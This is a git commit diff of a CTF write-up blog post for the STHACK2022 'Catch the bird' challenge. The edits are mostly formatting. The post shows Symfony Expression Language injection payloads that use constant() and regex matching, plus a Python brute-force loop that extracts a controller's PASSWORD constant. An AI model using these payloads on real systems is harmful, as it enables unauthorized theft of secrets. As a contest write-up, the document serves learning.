Fix description

pull/1/head
Swissky 2022-05-21 21:58:31 +02:00
parent 2ec01e1e2c
commit ba3aaad6a5
1 changed files with 15 additions and 16 deletions

View File

@ -3,18 +3,18 @@ layout: post
title: STHACK2022 - Catch the bird, a trip from web to IRL
---
# STHACK2022 - Catch the bird, a trip from web to IRL
* Author: ajani
* Challenge author: ajani
* Category: `web`, `physical`
The challenge started with the following Post Card
![Post Card]({{ site.baseurl }}/images/STHACK2022/sthack2022_post-card.png)
<!--more-->
We also had the following scenario:
```
{% highlight php%}
This time I think Archer have got himself involved in something far to big for him.
Last time I've seen him he seemed agitated, anxious, he kept telling about that man he was following, how he felt it had been made, and something about Malta and some bird statuette. That was 9 days ago and I haven't heard from Miles since then.
@ -24,7 +24,7 @@ It seems strange, but it wouldn't be the first time he didn't give news for days
That was until this morning, when a post card arrived at the bureau mailbox. Postcard At first sight it's just a simple postcard to tell me he need to take some vacations right ? But here's the thing, Miles never lived at the 101.10 Marconi street...
If Archer ask for my help then it must really be serious. I need to find where this statuette is, and judging by the postcard I must hurry, 'cause whomever have the damn bird, it seems like he want to sell it.
```
{% endhighlight %}
We quickly realized we needed to listen on the **Radio Frequency** 101.1Mhz inside the "Hotel de Ville". This was achieved using a Xiaomi Android Application, we recorded everything broadcasted on the frequency in this file:
@ -56,32 +56,32 @@ We had an oracle !! However we didn't manage to find an interesting primitive al
So we used our favorite tool "Burp Suite Intruder" and fuzzed with the top 100 functions in PHP and Symfony and some weird behaviors started to appear.
The function `constant` was recognised by the parsing engine, then it clicked, the `Lexer.php` file was located in a folder called `expression language`. We tried to confirm the function using several global constants.
```py
{% highlight py%}
category=category == 'forg'~'ery'~'7'*7
category=category == 'forg'~'ery'~constant("DB_USER")
category=category == 'forg'~'ery'~constant("INFO_ALL")
category=category == 'forg'~'ery'~constant("true")
category=category == 'forg'~'ery'~constant("null")
```
{% endhighlight %}
However it's only giving us the information about the existence of a constant it would be better to extract their value. Especially the value of the constant `self::PASSWORD`@LoginController.php.
First, we attempt to access the constant located in another file on the server. Thankfully the server errors were quite verbose and give us half of the payload :)
```py
{% highlight py%}
Error : Attempted to load class "LoginController" from namespace "\App\\Controller\".
Did you forget a "use" statement for "App\Controller\LoginController"?
```
{% endhighlight %}
The trick here was to add several backslash `\\\\`
```py
{% highlight py%}
'forg'~'ery'~constant("\\\\App\\\\Controller\\\\LoginController::PASSWORD")
```
{% endhighlight %}
Now that we confirmed the access to the `PASSWORD` constant, we tried to read the characters one-by-one like any array with `array[0] == 'A'`. But the pain was only starting, Expression Language constant cannot be accessed like an array... We finally found an alternative using **Regular Expressions** and created a small script which was ... too slow, remember we are using Tor to connect to the .onion website and the shared network on site was a bit laggy.
```py
{% highlight py%}
import requests
flag = "Ybhr"
@ -93,7 +93,7 @@ for c in charset:
burp0_data = {"category": "constant(\"\\\\App\\\\Controller\\\\LoginController::PASSWORD\") matches \"/^"+flag+"\" ", "& category ": "= 'forgery'"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(c, len(r.text))
```
{% endhighlight %}
Once again we turned to our Intruder and fuzzed with the charset `a-zA-Z0-9`, with the following payload: `category=constant("\\App\\Controller\\LoginController::PASSWORD") matches "/^Y[FUZZED_CHAR_ADDED_HERE]/" && category == 'forgery'` and we got the following quite quickly: `Ybhr5vmjJD` after switching to our 4G network for a more reliable access.
@ -113,10 +113,10 @@ Some interesting encrypted files were stored on the deaddrop and we had the key
And now for the final step: a new onion URL from one of the decrypted file (maltapyzyfnwvgkl4se7tlhlrohule77cgnaguy2nouxyvosovjldbyd.onion). It seems to be an aunction website, but the site is not yet opened. The opening is scheduled for the 23rd May but something smells fishy, the Javascript was heavily obfuscated, and we are still waiting for our flag.
```js
{% highlight js%}
// Example of Pentester's nightmare
function _0x18c8(_0x46078f,_0xd7ff98){var _0x33e42d=_0x3b53();return _0x18c8=function(_0x164e09,_0x470955){_0x164e09=_0x164e09-(0x1063+-0x19*0x187+0x16b7);var _0xf46362=_0x33e42d[_0x164e09];return _0xf46362;},_0x18c8(_0x46078f,_0xd7ff98);}function _0x3b53(){var _0x574953=['aW9uYWwgbm','4JDouuU','fEdgK'[...]
```
{% endhighlight %}
Let's discuss methodology to apprehend this problem:
@ -126,5 +126,4 @@ Having spent wayyyy too much time on this challenge, we used a quite radical app
Overall the challenge was nice and interesting to resolve with my teammates. Having a bit of physical without resorting to use a full arsenal of HackRF, Proxmark or a crowbar was quite refreshing :)
![Scoreboard]({{ site.baseurl }}/images/STHACK2022/sthack2022_scoreboard.jpg)